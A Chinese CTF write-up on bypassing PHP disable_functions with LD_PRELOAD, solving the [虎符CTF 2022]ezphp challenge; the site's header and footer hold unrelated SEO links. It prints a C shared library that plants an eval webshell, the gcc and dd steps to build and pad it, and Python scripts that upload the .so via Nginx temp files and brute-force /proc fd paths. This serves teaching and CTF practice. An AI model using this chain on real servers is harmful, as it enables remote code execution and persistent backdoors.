当前位置: 首页 > news >正文

网站建设联系我们制作网站的步骤和过程

网站建设联系我们,制作网站的步骤和过程,做网站卖机器怎么弄,软件下载商店文章目录 原理LD_PRELOAD介绍如何上传.so文件 例题 [虎符CTF 2022]ezphp 原理 LD_PRELOAD介绍 LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接…

文章目录

  • 原理
    • LD_PRELOAD介绍
    • 如何上传.so文件
  • 例题 [虎符CTF 2022]ezphp


原理

LD_PRELOAD介绍

LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。

什么是链接

程序的链接主要有以下三种:

静态链接:在程序运行之前先将各个目标模块以及所需要的库函数链接成一个完整的可执行程序,之后不再拆开。
装入时动态链接:源程序编译后所得到的一组目标模块,在装入内存时,边装入边链接。
运行时动态链接:原程序编译后得到的目标模块,在程序执行过程中需要用到时才对它进行链接。

对于动态链接来说,需要一个动态链接库,其作用在于当动态库中的函数发生变化对于可执行程序来说时透明的,可执行程序无需重新编译,方便程序的发布/维护/更新。但是由于程序是在运行时动态加载,这就存在一个问题,假如程序动态加载的函数是恶意的,就有可能导致disable_function被绕过。
使用LD_PRELOAD绕过的条件

能够上传自己的.so文件
能够控制环境变量的值(设置LD_PRELOAD变量),比如putenv函数
存在可以控制PHP启动外部程序的函数并能执行(因为新进程启动将加载LD_PRELOAD中的.so文件),比如mail()、imap_mail()、mb_send_mail()和error_log()等

当我们能够设置环境变量,比如putenv函数未被禁止,我们就可以把LD_PRELOAD变量设置为恶意.so文件的路径,只要启动新的进程就会在新进程运行前优先加载该恶意.so文件,由此,恶意代码就被注入到程序中。

如何上传.so文件

利用Nginx 在后端 Fastcgi 响应过大产生临时文件和竞争包含去解决
详细可参考[HXPCTF 2021]includer’s revenge

简单的RCE就是可以蚁剑连接后在/tmp下上传,难的话就像下面的例题

例题 [虎符CTF 2022]ezphp

源码如下

 <?php (empty($_GET["env"])) ? highlight_file(__FILE__) : putenv($_GET["env"]) && system('echo hfctf2022');?> 

就是简单的三元运算符,存在参数env

首先恶意.so文件的构造
创建1.c文件,写入一句话木马,写到shell.php

#include <stdlib.h>
#include <stdio.h>
#include <string.h>__attribute__ ((__constructor__)) void angel (void){unsetenv("LD_PRELOAD");system("echo \"<?php eval(\\$_POST['cmd']);?>\" > /var/www/html/shell.php");
}

注:\\是为了防转义(\\\待定)

然后在Linux系统下用自带的gcc进行编译

gcc -shared -fPIC 1.c -o 1.so

增大so文件的大小,在so文件尾部加入脏字符

var=`dd if=/dev/zero bs=1c count=10000 | tr '\0' 'c'

再执行

echo $var >> 1.so

可以看到文件是变大了

在这里插入图片描述
然后上脚本

脚本一(向网站发包)

from threading import Thread
import requests
import socket
import timeport = 28552
host = "node2.anna.nssctf.cn"def do_so():data = open("1.so", "rb").read()packet = f"""POST /index.php HTTP/1.1\r\nHOST:{host}:{port}\r\nContent-Length:{len(data) + 11}\r\n\r\n"""packet = packet.encode()packet += datas = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((host, port))s.sendall(packet)time.sleep(10)s.close()if __name__ == "__main__":do_so()

脚本二(爆破一下pid)

import requests
from threading import Threadport = 28552
host = "node2.anna.nssctf.cn"def ldload(pid, fd):sopath = f"/proc/{pid}/fd/{fd}"print(sopath)r = requests.get(f"http://{host}:{port}/index.php", params={"env":f"LD_PRELOAD={sopath}"})return rif __name__ == "__main__":# ldload(20, 20)for pid in range(12, 40):for fd in range(1, 40):t = Thread(target=ldload, args=(pid, fd))t.start()

在Linux同时运行脚本(当然windows也行)

python3 1.py & python3 2.py

通过脚本,一直往服务器传写入so文件
在这里插入图片描述传入成功后,在/shell.php直接命令执行

http://www.tj-hxxt.cn/news/43569.html

相关文章:

  • java 网站做甘特图js武汉seo工作室
  • 无锡网站建设策划方案推广赚佣金的软件排名
  • 网站建设与维护浙江省试题龙岗seo优化
  • 宁波企业网站开发公司品牌推广网络公司
  • 如何建淘宝客网站浏览器打开是2345网址导航
  • 做家具的外国网站重庆网站推广软件
  • 如何建好一个网站网站优化排名易下拉效率
  • 企业网站布局代码网络营销的策略
  • 企业服务网站建设需要多少钱企业危机公关
  • 宁波做外贸网站推广seo效果分析
  • 马云做中国最大的网站网站查找工具
  • web网站开发报告市场营销毕业论文5000字
  • wordpress 网站工具栏nba最新排名
  • 惠州开发做商城网站建设哪家好网络整合营销4i原则是指
  • javascript代码大全沈阳网络seo公司
  • 汉中市建设工程招投标交易中心seo顾问多少钱
  • 网站开发合同最近热点新闻事件
  • 做国外市场哪个网站好百度站长工具综合查询
  • 网站标题字体大小总推荐榜总点击榜总排行榜
  • 全面的聊城网站建设seo研究中心道一老师
  • 临沂网站设计价格seo 首页
  • 外贸网站定制画质优化app下载
  • 国务院网站工程建设审批制度改革站长之家seo概况查询
  • cms建站系统是什么杭州网络推广公司
  • wordpress 缺少样式表海淀搜索引擎优化seo
  • 网站策划书店铺推广
  • 软件开发培训机构费用武汉seo排名优化公司
  • 360做企业网站多少钱网络营销专员的就业前景
  • 学做网站知识抖音关键词搜索排名
  • ios网站开发教程在线搭建网站